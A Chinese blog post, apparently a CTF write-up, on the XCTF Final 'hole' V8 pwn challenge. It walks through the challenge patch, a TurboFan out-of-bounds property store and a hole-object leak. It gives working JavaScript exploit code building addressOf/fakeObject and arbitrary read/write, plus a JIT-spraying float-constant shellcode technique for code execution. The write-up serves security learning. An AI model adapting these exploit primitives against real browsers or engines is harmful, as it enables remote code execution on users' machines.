XCTF-Final-hole-wp

Posted on Mar 31, 2023

这次的 XCTF Final 总长 12 小时,有三道 pwn 题,一道为 Haskell 写成的 lisp 解释器,一道与 Intel sgx 有关。不过我都没怎么看,而是一直在看 hole 这道 v8 题。v8 一直在高速发展,由于我许久没有接触过了,所以不了解新的利用套路——即在构造了 addressOffakeObject 这两个原语后怎么实现 RCE。最后很遗憾,虽然我实现了上述的两个原语,但是最后并没有做出这题。以下是正文,简述了如何实现 hole 对象的 leak 并且完成对上述原语的构造。之后的利用我从解出的大佬那里求来了 exp,等我学会就找时间更新更新:现在我会了,在文章里面简述了一下。

1 漏洞分析

先来看一下附带的 diff

diff --git a/src/builtins/builtins-collections-gen.cc b/src/builtins/builtins-collections-gen.cc
index f6238e3072..17821d3124 100644
--- a/src/builtins/builtins-collections-gen.cc
+++ b/src/builtins/builtins-collections-gen.cc
@@ -1765,7 +1765,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
                          "Map.prototype.delete");

   // This check breaks a known exploitation technique. See crbug.com/1263462
-  CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+  // CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));

   const TNode<OrderedHashMap> table =
       LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
diff --git a/src/compiler/js-native-context-specialization.cc b/src/compiler/js-native-context-specialization.cc
index 39302152ed..3193065d7d 100644
--- a/src/compiler/js-native-context-specialization.cc
+++ b/src/compiler/js-native-context-specialization.cc
@@ -29,13 +29,12 @@
 #include "src/objects/feedback-vector.h"
 #include "src/objects/heap-number.h"
 #include "src/objects/string.h"
-
+int times=1;
 namespace v8 {
 namespace internal {
 namespace compiler {

 namespace {
-
 bool HasNumberMaps(JSHeapBroker* broker, ZoneVector<MapRef> const& maps) {
   for (MapRef map : maps) {
     if (map.IsHeapNumberMap()) return true;
@@ -2812,7 +2811,7 @@ JSNativeContextSpecialization::BuildPropertyStore(
       // with this transitioning store.
       MapRef transition_map_ref = transition_map.value();
       MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
-      if (original_map.UnusedPropertyFields() == 0) {
+      if (original_map.UnusedPropertyFields() == 0 && times--==0) {
         DCHECK(!field_index.is_inobject());

         // Reallocate the properties {storage}.
diff --git a/src/d8/d8-posix.cc b/src/d8/d8-posix.cc
index c2571ef3a0..99f0e76234 100644
--- a/src/d8/d8-posix.cc
+++ b/src/d8/d8-posix.cc
@@ -734,20 +734,20 @@ char* Shell::ReadCharsFromTcpPort(const char* name, int* size_out) {
 }

 void Shell::AddOSMethods(Isolate* isolate, Local<ObjectTemplate> os_templ) {
-  if (options.enable_os_system) {
-    os_templ->Set(isolate, "system", FunctionTemplate::New(isolate, System));
-  }
-  os_templ->Set(isolate, "chdir",
-                FunctionTemplate::New(isolate, ChangeDirectory));
-  os_templ->Set(isolate, "setenv",
-                FunctionTemplate::New(isolate, SetEnvironment));
-  os_templ->Set(isolate, "unsetenv",
-                FunctionTemplate::New(isolate, UnsetEnvironment));
-  os_templ->Set(isolate, "umask", FunctionTemplate::New(isolate, SetUMask));
-  os_templ->Set(isolate, "mkdirp",
-                FunctionTemplate::New(isolate, MakeDirectory));
-  os_templ->Set(isolate, "rmdir",
-                FunctionTemplate::New(isolate, RemoveDirectory));
+//   if (options.enable_os_system) {
+//     os_templ->Set(isolate, "system", FunctionTemplate::New(isolate, System));
+//   }
+//   os_templ->Set(isolate, "chdir",
+//                 FunctionTemplate::New(isolate, ChangeDirectory));
+//   os_templ->Set(isolate, "setenv",
+//                 FunctionTemplate::New(isolate, SetEnvironment));
+//   os_templ->Set(isolate, "unsetenv",
+//                 FunctionTemplate::New(isolate, UnsetEnvironment));
+//   os_templ->Set(isolate, "umask", FunctionTemplate::New(isolate, SetUMask));
+//   os_templ->Set(isolate, "mkdirp",
+//                 FunctionTemplate::New(isolate, MakeDirectory));
+//   os_templ->Set(isolate, "rmdir",
+//                 FunctionTemplate::New(isolate, RemoveDirectory));
 }

 }  // namespace v8
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 3816d1ac99..695e770465 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3163,56 +3163,56 @@ static void AccessIndexedEnumerator(const PropertyCallbackInfo<Array>& info) {}

 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
-  global_template->Set(isolate, "version",
-                       FunctionTemplate::New(isolate, Version));
+  // global_template->Set(Symbol::GetToStringTag(isolate),
+  //                      String::NewFromUtf8Literal(isolate, "global"));
+  // global_template->Set(isolate, "version",
+  //                      FunctionTemplate::New(isolate, Version));

   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write",
-                       FunctionTemplate::New(isolate, WriteStdout));
-  global_template->Set(isolate, "read",
-                       FunctionTemplate::New(isolate, ReadFile));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
-    global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
-  }
-  global_template->Set(isolate, "testRunner",
-                       Shell::CreateTestRunnerTemplate(isolate));
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-
-  // Prevent fuzzers from creating side effects.
-  if (!i::FLAG_fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
-
-#ifdef V8_FUZZILLI
-  global_template->Set(
-      String::NewFromUtf8(isolate, "fuzzilli", NewStringType::kNormal)
-          .ToLocalChecked(),
-      FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
-#endif  // V8_FUZZILLI
-
-  if (i::FLAG_expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
+  // global_template->Set(isolate, "printErr",
+  //                      FunctionTemplate::New(isolate, PrintErr));
+  // global_template->Set(isolate, "write",
+  //                      FunctionTemplate::New(isolate, WriteStdout));
+  // global_template->Set(isolate, "read",
+  //                      FunctionTemplate::New(isolate, ReadFile));
+  // global_template->Set(isolate, "readbuffer",
+  //                      FunctionTemplate::New(isolate, ReadBuffer));
+  // global_template->Set(isolate, "readline",
+  //                      FunctionTemplate::New(isolate, ReadLine));
+  // global_template->Set(isolate, "load",
+  //                      FunctionTemplate::New(isolate, ExecuteFile));
+//   global_template->Set(isolate, "setTimeout",
+//                        FunctionTemplate::New(isolate, SetTimeout));
+//   // Some Emscripten-generated code tries to call 'quit', which in turn would
+//   // call C's exit(). This would lead to memory leaks, because there is no way
+//   // we can terminate cleanly then, so we need a way to hide 'quit'.
+//   if (!options.omit_quit) {
+//     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
+//   }
+//   global_template->Set(isolate, "testRunner",
+//                        Shell::CreateTestRunnerTemplate(isolate));
+//   global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
+//   global_template->Set(isolate, "performance",
+//                        Shell::CreatePerformanceTemplate(isolate));
+//   global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
+
+//   // Prevent fuzzers from creating side effects.
+//   if (!i::FLAG_fuzzing) {
+//     global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
+//   }
+//   global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
+
+// #ifdef V8_FUZZILLI
+//   global_template->Set(
+//       String::NewFromUtf8(isolate, "fuzzilli", NewStringType::kNormal)
+//           .ToLocalChecked(),
+//       FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
+// #endif  // V8_FUZZILLI
+
+//   if (i::FLAG_expose_async_hooks) {
+//     global_template->Set(isolate, "async_hooks",
+//                          Shell::CreateAsyncHookTemplate(isolate));
+//   }

   if (options.throw_on_failed_access_check ||
       options.noop_on_failed_access_check) {

这里开头注释了 CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant())); 这个检查。通过注释可以看到这个网址:https://crbug.com/1263462 ,大概可以知道这个是为了防止一个针对 hole 的利用,这是一个 v8 中的内部对象,用于表示此位置没有元素(stackoverflow)。我们使用这个原语就可以获得一个 size == -1 的 Map

// ./d8 --allow-natives-syntax ./poc.js
let theHole = %TheHole()
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1);
// %DebugPrint(m);
print(m.size);

虽然从设计上来说,hole 是永远不会泄漏到“用户态”的 js 代码中的,但是许多漏洞都可以最后伪造出 hole 对象来实现稳定的 oob ,所以在这个 commit 中,添加了更多校验。让这个利用的 trick 失效了。不过在这道题里面,patch 掉了这个校验,所以大概可以知道预期解就是想办法 leak 出一个 hole 对象,然后实现 oob 。

然后看下一个 patch

@@ -2812,7 +2811,7 @@ JSNativeContextSpecialization::BuildPropertyStore(
       // with this transitioning store.
       MapRef transition_map_ref = transition_map.value();
       MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
-      if (original_map.UnusedPropertyFields() == 0) {
+      if (original_map.UnusedPropertyFields() == 0 && times--==0) {
         DCHECK(!field_index.is_inobject());

这是在 ReducePropertyAccess 中的,处理属性存储时的一个 case ,当 original_map 的 UnusedPropertyFields() == 0 时,patch 前的正确行为为:更换 Map 的 property 存储对象,这样之后才可以正确地向 property 中添加属性

if (original_map.UnusedPropertyFields() == 0) {
  DCHECK(!field_index.is_inobject());

  // Reallocate the properties {storage}.
  storage = effect = BuildExtendPropertiesBackingStore(
                                                       original_map, storage, effect, control);

  // Perform the actual store.
  effect = graph()->NewNode(simplified()->StoreField(field_access),
                            storage, value, effect, control);

  // Atomically switch to the new properties below.
  field_access = AccessBuilder::ForJSObjectPropertiesOrHashKnownPointer();
  value = storage;
  storage = receiver;
 }

观察 if 中添加的 node ,可以看出确实更换了 storage node 。那么之后添加的节点就可以认为一定可以安全地向 storage node 中写入了

{
  // ..
  value = storage;
  storage = receiver;
}
effect = graph()->NewNode(
                          common()->BeginRegion(RegionObservability::kObservable), effect);
effect = graph()->NewNode(
                          simplified()->StoreField(AccessBuilder::ForMap()), receiver,
                          jsgraph()->Constant(transition_map_ref), effect, control);
effect = graph()->NewNode(simplified()->StoreField(field_access), storage,
                          value, effect, control);
effect = graph()->NewNode(common()->FinishRegion(),
                          jsgraph()->UndefinedConstant(), effect);

可以看到,不会有 checkbounds 之类节点的添加,会直接写入值。

然而在 patch 过后,第一次执行该优化时就会跳过之前替换 storage node 的 nodes 添加。这可以导致 oob ,最后实现任意地址读写(我就是拿这个任意地址读写伪造了一个 hole 对象)。

我们来观察一下他的效果

let m = {a: 0x100};
%DebugPrint(m);
m.b = 0x200;
%DebugPrint(m);

可见一个全新创建的 map ,会把初始化的元素 in-object 储存,其 unused property fields 即为 0 ,其 properties 也执行了一个 FixedArray[0] ,即空数组。

然后在给 map 新增一个属性后,原来的 FixedArray[0] 就被替换成了 PropertyArray[3] ,相应的,unused property fields 也变成了 2 (3 - 1)。这是在解释器中的行为,我们可以想象正确的 turbofan 优化后也应该有一样的效果,但是在 patch 后生成的代码将不会替换 properties 指向的目标,在添加属性时,就会直接向 FixedArray[0] 中继续写入了。我们来看下面这个例子

function PropertyStore() {
  let m = {a: 0x100};
  %DebugPrint(m);
  m.b = 0x200;
  %DebugPrint(m);
}

%PrepareFunctionForOptimization(PropertyStore);
PropertyStore();
%OptimizeFunctionOnNextCall(PropertyStore);
PropertyStore();
...
Received signal 11 SEGV_ACCERR 368800002258

==== C stack trace ===============================

 [0x55bdcee5bc83]
 [0x55bdcee5bbd1]
 [0x7f7a684d3520]
 [0x55bd400040f0]
[end of stack trace]
fish: Job 1, './d8 --allow-natives-syntax ./d…' terminated by signal SIGSEGV (Address boundary error)

执行后直接发生了 crash ,这是因为在优化后, m.b = 0x200 这个语句会直接向 FixedArray[0] 中写入,但是这个对象是一个特殊对象,专门用于表示空数组,处在只读内存段,写入便会导致段错误。

2 漏洞利用

如果想要实现利用,我们要想个办法构造可以写入的 properties 从而实现 oob。从上面的 %DebugPrint 我们可以发现, UnusedPropertyFields() == 0 时, FixedArray[0] 会被替换为 PropertyArray[3] ,可以存储三个属性,并且他是一个动态分配、处于可读写堆端的对象,我们可以先构造一个 properties 为 PropertyArray[3] 的 map ,并且把该数组填满,使 unused property fields 为 0 ,然后触发优化,此时再添加 property ,就可以实现 oob 了。

function TestSetProperty(obj, s) {
  obj.d1 = i2f(0xDEADBEEF73311337n);
  obj.d2 = i2f(0x99996666AAAABBBBn);
  obj.d3 = i2f(0x99996666AAAABBBBn);
  %DebugPrint(obj);

  return obj;
}

var oober = {};
const N = 10000;
for (let i = 0; i < N; i++) {
  let map = {a1: 0x100, b: 0x200};
  map.a2 = i2f(0xAAAABBBBCCCCDDDDn);
  map.a3 = i2f(0xEEEEFFFF11112222n);
  map.a4 = i2f(0x3333444455556666n);
  // %DebugPrint(map);
  console.log(map.a4);
  if (i == N - 1) {
    oober = TestSetProperty(map, i);
  } else {
    TestSetProperty(map);
  }
}

这个 poc 可能会 crash ,但是没关系,写 exp 的时候调整一下就不会了。同时还要注意,poc 里面的 console.log(map.a4) 这句话不能删掉,不然就不会发生优化了(至少我调的时候是这样的)

可以看到,map 中的元素的确发出了溢出,并且 corrupt 了 a3 这个属性, %DebugPrint 甚至他解析成了一个 JSObject

那么这里发生了什么呢?其实就是优化之后,直接向 PropertyArray[3] 中越界写入,导致了 oob ,而其中 d2 这个属性复写了 a3 属性的值,所以我们只要读出 a3 就可以实现堆地址的 leak ,而改写 a3 的值,就可以完全控制 d2 指向的目标,然后再读写 d2 的值,就可以实现任意地址读写了。这里具体的调试过程我就不再赘述了(调了一天,眼都花了),总之我们修改一个 map 的属性指向 theHole ,就可以实现 hole 的 leak 了。(看起来 theHole 在固定偏移中,所以我们只要写 0x2451 这样一根压缩指针就可以了)。获得 hole 之后就可以搞出一个 size 为 -1 的 map 了。

3 poc

以下为实现 addressOf 和 fakeObject 原语的 poc

var buffer = new ArrayBuffer(8);
var float64_arr = new Float64Array(buffer);
var uint64_arr = new BigUint64Array(buffer);
var udf_addr = 0n;
var i2f = (uint64) => {
  uint64_arr[0] = uint64;
  return float64_arr[0];
}
var f2i = (float64) => {
  float64_arr[0] = float64;
  return uint64_arr[0];

}

function TestSetProperty(obj, s) {
  obj.d1 = i2f(0xDEADBEEF73311337n);
  obj.d2 = i2f(0x99996666AAAABBBBn);
  obj.d3 = i2f(0x99996666AAAABBBBn);

  return obj;
}

var oober = {};
const N = 10000;
for (let i = 0; i < N; i++) {
  let map = {a1: 0x100, b: 0x200};
  map.a2 = i2f(0xAAAABBBBCCCCDDDDn);
  map.a3 = i2f(0xEEEEFFFF11112222n);
  map.a4 = i2f(0x3333444455556666n);
  // %DebugPrint(map);
  console.log(map.a4);
  if (i == N - 1) {
    oober = TestSetProperty(map, i);
  } else {
    TestSetProperty(map);
  }
}
// %DebugPrint(oober);
console.log(f2i(oober.a3).toString(16));
// %SystemBreak();

let map = {a1: 0x100};
map.a2 = i2f(0xbeefbeefbeefbeefn);
map.a3 = i2f(0xbeefbeefbeefbeefn);
map.a4 = i2f(0xbeefbeefbeefbeefn);
// %DebugPrint(map);
heap_addr = f2i(oober.a3);
heap_addr = heap_addr & 0xFFFFFFFFn;
console.log("head_addr: 0x" + heap_addr.toString(16));
// let hole_addr = 0x2451n;
var holeMap = {a: 0x100};
holeMap.udf1 = undefined;
holeMap.udf2 = undefined;
holeMap.udf3 = undefined;
// %DebugPrint(oober);
// udf_addr = head_addr + 0x280n;
const offset_to_map = 0x274n + 8n
oober.a3 = i2f((heap_addr + offset_to_map) | ((heap_addr + offset_to_map) << 32n));
oober.d2 = i2f(0x0000245100002451n);
// %DebugPrint(holeMap);
let theHole = holeMap.udf2;
// %DebugPrint(holeMap);
// %DebugPrint(theHole);

function FinalExploit(hole) {
  function GetOobArr(hole) {
    let m = new Map();
    m.set(1, 1);
    m.set(hole, 1);
    m.delete(hole);
    m.delete(hole);
    m.delete(1);
    console.log(m.size);
    let oob_arr = new Array(1.1, 1.1);

    m.set(0x10, -1);
    m.set(oob_arr, 0xffff);
    console.log("oob_arr length:", oob_arr.length);
    return oob_arr;
  }
  let oob_arr = GetOobArr(hole);
  oob_arr[3] = i2f(0xDEADBEEFn);
  oob_arr[4] = i2f(0xDEADBEEEn);
  let float_arr = [1.1, 1.2, 1.3, 1.4];
  let float_arr2 = [2.1, 2.2, 2.3, 2.4];
  let int_arr = [1, 2, 3, 4];
  let object_arr = [{}, {}, {}, {}];
  let leak_object_arr = [2.1, 2.2, 2.3, 2.4];
  console.log("++++++++++++++++++++++++++++++++++++++");
  // %DebugPrint(float_arr);
  console.log("++++++++++++++++++++++++++++++++++++++");
  // %DebugPrint(object_arr);
  console.log("++++++++++++++++++++++++++++++++++++++");
  // %DebugPrint(leak_object_arr);
  oob_arr[13] = i2f((f2i(oob_arr[13]) & 0xFFFFFFFFn) | 0x0000200000000000n);
  oob_arr[41] = i2f((f2i(oob_arr[41]) & 0xFFFFFFFFn) | 0x0000200000000000n);

  console.log(float_arr.length)
  console.log(object_arr.length);

  let float_map = f2i(float_arr[11]) & 0xffffffffn;
  console.log("PACKED_DOUBLE_ELEMENTS map: 0x" + float_map.toString(16));

  let object_map = f2i(float_arr[32]) & 0xffffffffn;
  console.log("PACKED_DOUBLE_ELEMENTS map: 0x" + object_map.toString(16));

  let addressOf = (obj) => {
    object_arr[38] = obj;

    return f2i(leak_object_arr[0]);
  }

  let fakeObject = (addr) => {
    float_arr[0x10] = i2f(addr);
    return object_arr[0];
  }

  let rw_tool = [
    // map
    i2f(float_map),
    i2f(0x00000008BEEFDEADn),
    1.1,
    1.2
  ];

  let rw_tool_addr = addressOf(rw_tool) & 0xFFFFFFFFn;
  // %DebugPrint(rw_tool);
  console.log("rw_tool addr: 0x" + rw_tool_addr.toString(16))
  let arbitary_rw_tool = fakeObject(rw_tool_addr - 0x20n);

  let read64 = (address) => {
    rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
    // %DebugPrint(arbitary_rw_tool);
    return f2i(arbitary_rw_tool[0]);
  }

  let write64 = (address, val) => {
    rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
    arbitary_rw_tool[0] = i2f(val);
  }

  // Calculate the address of FLAG_wasm_memory_protection_keys
  // ref: https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975/
  // console.log("wrapper_type_info: 0x" + wrapper_type_info);

  // %DebugPrint(arbitary_rw_tool);
  var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
  var wasmModule = new WebAssembly.Module(wasmCode);
  var wasmInstance = new WebAssembly.Instance(wasmModule, {});
  var f = wasmInstance.exports.main;


  // %DebugPrint(wasmInstance);
  addr_f = addressOf(f) & 0xFFFFFFFFn;
  console.log(f());
  var instance_addr = addressOf(wasmInstance) & 0xFFFFFFFFn;
  console.log("[+] instance_addr: 0x" + instance_addr.toString(16));

  // w^x protect on, nomore rwx
  // var rwx_addr = read64(instance_addr - 1n + ???n);
  // console.log("[+] rwx_addr: 0x" + rwx_addr.toString(16));
  while (1);
}

FinalExploit(theHole);

由于现在高版本已经启用了 W^X 保护—— wasm function 中不再有 rwx 的内存段,不能直接执行 shellcode getshell。不过这个可以通过这篇文章尾部提到的覆写 write_protect_code_memory_ 来绕过。这就出现了另一个问题,该字段所处的对象在 ptmalloc 堆上,由于此版本 v8 也开启了指针压缩,我们无法实现对该堆的任意读写,这就需要这篇文章中提到的方法来绕过了。遗憾的是,由于比赛时间不够,我并没有根据两篇文章中的方法实现利用。而且据说,这种方式在高版本中也失效了。

4 rce

还是接触的少了,对 v8 的利用只停留在了可以对 wasm 一把梭的年代。希望可以蹲一个大佬的 exp 学习@nightu 师傅那里求来了 exp ,发现他的做法是

  1. 直接向 jit 函数中写入 shellcode 片段
  2. 修改 <Funtion>CodeDataContainer 中的 code_entry_point ,把该变量指向我们的 shellcode 片段
  3. 执行该函数

这里我只是没有想到原来现在的 v8 还可以做到直接向 jit 函数中布置 shellcode 片段,但是调试了一下确实是可以做到的

const foo = ()=>
{
        return [
        1.0,
                1.95538254221075331056310651818E-246,
                1.95606125582421466942709801013E-246,
                1.99957147195425773436923756715E-246,
                1.95337673326740932133292175341E-246,
                2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
        foo();foo();foo();foo();
}

如上代码在 jit 后,会生成下面的代码片段

可见对于浮点数组,turbofan 在优化后会把代码生成为 movabs <reg>, <imm> 样式,我们只要把 code_entry_point 指向这些片段,就可以执行 shellcode 了。

没有想到这个方法的原因很简单,我以为这个早就被 mitigate 了,因为在很久以前就看到 v8 有针对 jit spraying 的保护,但是没想到对于浮点数组似乎没有效果的样子

另外,交流后获得了一些文章链接,这里整理一下

另外比赛完后,顺便去夫子庙旁边逛了逛,路过一条河,看别人都在拍照自己也凑凑热闹拍了一张

某条河边

感觉南京这里确实还挺漂亮的,至少灯光颜色挺统一的。可惜没把女朋友带来。